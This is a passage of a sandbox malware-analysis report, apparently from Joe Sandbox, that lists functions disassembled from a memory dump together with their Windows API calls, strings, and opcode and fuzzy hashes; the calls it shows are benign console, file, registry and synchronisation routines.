Instruction Fuzzy Hash: 4DB16D61B0CA4686EA59BF15E450679F7A0FB4DB80F848035DA6E877B2DFBDE441C700

Function 00007FF64B588C18 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF64B588C85
iswdigit.MSVCRT ref: 00007FF64B588CA2
wcstol.MSVCRT ref: 00007FF64B588CBF
wcschr.MSVCRT ref: 00007FF64B588CF0
wcschr.MSVCRT ref: 00007FF64B588D16
wcschr.MSVCRT ref: 00007FF64B588D6A

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: wcschr$iswdigit$wcstol
String ID:
API String ID: 3841054028-0
Opcode ID: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
Instruction ID: 4968c4ca9d554bc1ca58a22e2b46ba42214ac0d20a9d82962b6878e0964b87fd
Opcode Fuzzy Hash: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
Instruction Fuzzy Hash: 2D51A566A2D652C1F768BF15D4001B9B6A2FF6C790B448131DE7D822F6EF3CA461C210

Function 00007FF64B565984 Relevance: 9.1, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF64B583687
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF64B56260D), ref: 00007FF64B5836A6
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF64B56260D), ref: 00007FF64B5836EB
_get_osfhandle.MSVCRT ref: 00007FF64B583703
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF64B56260D), ref: 00007FF64B583722

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Console$Write_get_osfhandle$Mode
String ID:
API String ID: 1066134489-0
Opcode ID: 4c1f695bad35c7bf589eba106c736ecb6e681f2494b966e2c9ca81186bfba4b7
Instruction ID: d2f3fe39f1a3849d5dd5f99a814425f95fe5bf3bf0ad67a7227b67b8babb515c
Opcode Fuzzy Hash: 4c1f695bad35c7bf589eba106c736ecb6e681f2494b966e2c9ca81186bfba4b7
Instruction Fuzzy Hash: 24517E61B1C64296EA287F26E50457AE6A1EF5CB90F085435EE2EC37B2DF7CE4518B00

Function 00007FF64B5736EC Relevance: 9.1, APIs: 6, Instructions: 93fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF64B573715
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF64B573770
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B573791
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57E96E
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF64B57E9A7
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57E9D5

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
String ID:
API String ID: 3249344982-0
Opcode ID: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
Instruction ID: ad4407e9dc4dd4f2f322fc402825ae5eea40b01ec33923a5a19b0a19bc3833a2
Opcode Fuzzy Hash: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
Instruction Fuzzy Hash: AE414C72A1CB41C6E314BF12E844369FAA4FB9DB94F448234DA5A877B5CF7CD1158B00

Function 00007FF64B5734A0 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B573578: _get_osfhandle.MSVCRT ref: 00007FF64B573584
Part of subcall function 00007FF64B573578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B57359C
Part of subcall function 00007FF64B573578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735C3
Part of subcall function 00007FF64B573578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735D9
Part of subcall function 00007FF64B573578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735ED
Part of subcall function 00007FF64B573578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B573602

AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF64B573491,?,?,?,00007FF64B584420), ref: 00007FF64B573514
_get_osfhandle.MSVCRT ref: 00007FF64B573522
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,00000000,00007FF64B573491,?,?,?,00007FF64B584420), ref: 00007FF64B573541
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF64B573491,?,?,?,00007FF64B584420), ref: 00007FF64B57355E

Part of subcall function 00007FF64B5736EC: _get_osfhandle.MSVCRT ref: 00007FF64B573715
Part of subcall function 00007FF64B5736EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF64B573770
Part of subcall function 00007FF64B5736EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B573791

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: LockShared$_get_osfhandle$AcquireConsoleFileReleaseWrite$ByteCharHandleModeMultiTypeWide
String ID:
API String ID: 4057327938-0
Opcode ID: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
Instruction ID: 1b8ba1c532ee76bfa60844cc753dd4020880207d1c9c4c7ba8ed116f5f55433a
Opcode Fuzzy Hash: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
Instruction Fuzzy Hash: 4B316F62B0CB42C6E75CBF25D400079FAA5EF8DB50F588175DA2EC23B7DE6CE8058600

Function 00007FF64B573578 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF64B573584
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B57359C
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735C3
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735D9
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B5735ED
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF64B5632E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF64B573602

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
Instruction ID: 77fcd546f27cce107fb0798da351c41e2c93736c2ac9582547f186106171dfb8
Opcode Fuzzy Hash: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
Instruction Fuzzy Hash: 4D114C21B1CA46C6EA58BF24E544078EAA0FB4E775F149334DA3E823F2DE6CD4468600

Function 00007FF64B579584 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF64B5795B4
GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF64B5795C2
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF64B5795CE
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF64B5795DA
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF64B5795EA
QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0 ref: 00007FF64B579605

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
Instruction ID: 45f12e7e4217ca2d569f6ad7cf96e5caf7a8c75172c569006e62be6ecb857bf5
Opcode Fuzzy Hash: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
Instruction Fuzzy Hash: AE111262609B41CAEB04FF64E84526873A4F71D758F400A34EA7D877B5EF7CD6558340

Function 00007FF64B58711C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF64B5871F9
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B58720D
OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF64B587300

Part of subcall function 00007FF64B585740: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,?,?,00007FF64B5875C4,?,?,00000000,00007FF64B586999,?,?,?,?,?,00007FF64B578C39), ref: 00007FF64B585744

Strings

wil, xrefs: 00007FF64B58725E, 00007FF64B587338
_p0, xrefs: 00007FF64B5871B3

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: OpenSemaphore$CloseErrorHandleLast
String ID: _p0$wil
API String ID: 455305043-1814513734
Opcode ID: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
Instruction ID: a1b43c73a0510d16337b76d66571b3518d32cbb747a04a75d6d9583e007436b1
Opcode Fuzzy Hash: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
Instruction Fuzzy Hash: D4618162B2D78285EF29FF56D4102B9A3A1EF8CB80F544531DA1E8B7A6EF3CD5158300

Function 00007FF64B56E260 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF64B56E29D
iswdigit.MSVCRT ref: 00007FF64B56E310

Strings

GeToken: (%x) '%s', xrefs: 00007FF64B57CC39

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: iswdigit
String ID: GeToken: (%x) '%s'
API String ID: 3849470556-1994581435
Opcode ID: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
Instruction ID: 595c0af818281513534fe86b24c4349ceb1004b95aefe87c43a197d25ef84b6d
Opcode Fuzzy Hash: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
Instruction Fuzzy Hash: 07515821A0D642C5EB28BF1AE44527DB7A0BB5CB54F449835DA6D833B2EF7CE885C710

Function 00007FF64B58992C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121registryCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B589A10
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B589994

Part of subcall function 00007FF64B58A73C: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF64B589A82), ref: 00007FF64B58A77A
Part of subcall function 00007FF64B58A73C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF64B589A82), ref: 00007FF64B58A839
Part of subcall function 00007FF64B58A73C: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF64B589A82), ref: 00007FF64B58A850

wcsrchr.MSVCRT ref: 00007FF64B589A62

Strings

%s=%s, xrefs: 00007FF64B5899E1, 00007FF64B589AA0
., xrefs: 00007FF64B5899AA

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ErrorLast$CloseEnumOpenwcsrchr
String ID: %s=%s$.
API String ID: 3242694432-4275322459
Opcode ID: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
Instruction ID: 2b24f8d4795336d0c06bddfbc75a8956114daf5fafeafc07e1b22e6ba4dc8424
Opcode Fuzzy Hash: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
Instruction Fuzzy Hash: 5D419E21A1D78285EA18BF51E0502BAF2A1AF9D7A0F446234DD7D873F7EE7CE4518700

Function 00007FF64B5854B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 120synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF64B5854E6
CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF64B58552E

Part of subcall function 00007FF64B58758C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF64B586999,?,?,?,?,?,00007FF64B578C39), ref: 00007FF64B5875AE
Part of subcall function 00007FF64B58758C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF64B586999,?,?,?,?,?,00007FF64B578C39), ref: 00007FF64B5875C6

Strings

x, xrefs: 00007FF64B585501
wil, xrefs: 00007FF64B585592, 00007FF64B5855B8, 00007FF64B5855E2, 00007FF64B585674
Local\SM0:%d:%d:%hs, xrefs: 00007FF64B5854F7

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ErrorLast$CreateCurrentMutexProcess
String ID: Local\SM0:%d:%d:%hs$wil$x
API String ID: 779401067-630742106
Opcode ID: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
Instruction ID: 63e222650776b9c5cb63c8a367988007d9daa963f3eee444cf30113537f60f49
Opcode Fuzzy Hash: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
Instruction Fuzzy Hash: FE51837262C68282EB29BF15F4007FAE761EB8CB84F445031EA1DCBAA6DE7CD5158740

Function 00007FF64B57417C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B5741AD
towupper.MSVCRT ref: 00007FF64B5741E1

Strings

:, xrefs: 00007FF64B5741F2
:, xrefs: 00007FF64B57ECC3

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CurrentDirectorytowupper
String ID: :$:
API String ID: 238703822-3780739392
Opcode ID: a6328a6c3dc4b43d0528279963caee78f723bc6a38f6b0cfe87d14265630f542
Instruction ID: 77331d6cdee2dca27621a214bf7831e230e936a3fb313d37ccc6cc1eb48cafd6
Opcode Fuzzy Hash: a6328a6c3dc4b43d0528279963caee78f723bc6a38f6b0cfe87d14265630f542
Instruction Fuzzy Hash: 1811005261C641C2EA29BF61E805239F6A0EF8D799F498032DD1D877B2EE3CD0428704

Function 00007FF64B5658D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B565903
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B565943
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B565956

Strings

UBR, xrefs: 00007FF64B56593C
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF64B5658F5

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Software\Microsoft\Windows NT\CurrentVersion$UBR
API String ID: 3677997916-3870813718
Opcode ID: f05f94d0e8c90ab29cc9672b6bad58f1af5175f7397cd948b2f834cc6da7e466
Instruction ID: a6f27eea6f9bb10aec5bb9cdf961a54233efea7657e29c5f91b395894d2334e3
Opcode Fuzzy Hash: f05f94d0e8c90ab29cc9672b6bad58f1af5175f7397cd948b2f834cc6da7e466
Instruction Fuzzy Hash: 5311287261CA45C7EA24AF24E44026AF7A0FB8A764F405231DA9D42779DF7CC448CF00

Function 00007FF64B564C18 Relevance: 7.7, APIs: 5, Instructions: 163COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B564C78

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

wcsrchr.MSVCRT ref: 00007FF64B564CB9
wcsrchr.MSVCRT ref: 00007FF64B564CE6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B564DD7
wcschr.MSVCRT ref: 00007FF64B5828DB

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memsetwcsrchr$wcschr
String ID:
API String ID: 110935159-0
Opcode ID: aa437b30edfeea6c79ee8a3d268e9650db73263b89b04e44864cdff78747c223
Instruction ID: 17c5ba25b19695352027ba18cf8387520307035b5ee9c207f4ba178350bc9ab2
Opcode Fuzzy Hash: aa437b30edfeea6c79ee8a3d268e9650db73263b89b04e44864cdff78747c223
Instruction Fuzzy Hash: EE51A362B0D78685FE69BF15E4043F9A6A1AF4CBA4F045130CE6D8B7A6DE3CE5558200

Function 00007FF64B575EE4 Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B575F5D

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B576029

Part of subcall function 00007FF64B57417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B5741AD

towupper.MSVCRT ref: 00007FF64B575FFE

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$CurrentDirectorytowupper
String ID:
API String ID: 1403193329-0
Opcode ID: 551be3f87909853a01787b2c064555cc9cf119e68c8c6485403ce92ba455aa8e
Instruction ID: 26afa52f8343ea04ffaf99cc040d4662412c9d08f603343009444a97d64b6e7a
Opcode Fuzzy Hash: 551be3f87909853a01787b2c064555cc9cf119e68c8c6485403ce92ba455aa8e
Instruction Fuzzy Hash: A2518026B0D6C186EB29FF21D9006BAB7A0EF4C758F45C135CA2D876A6EFBC95448710

Function 00007FF64B56DF60 Relevance: 7.6, APIs: 5, Instructions: 114memoryCOMMON

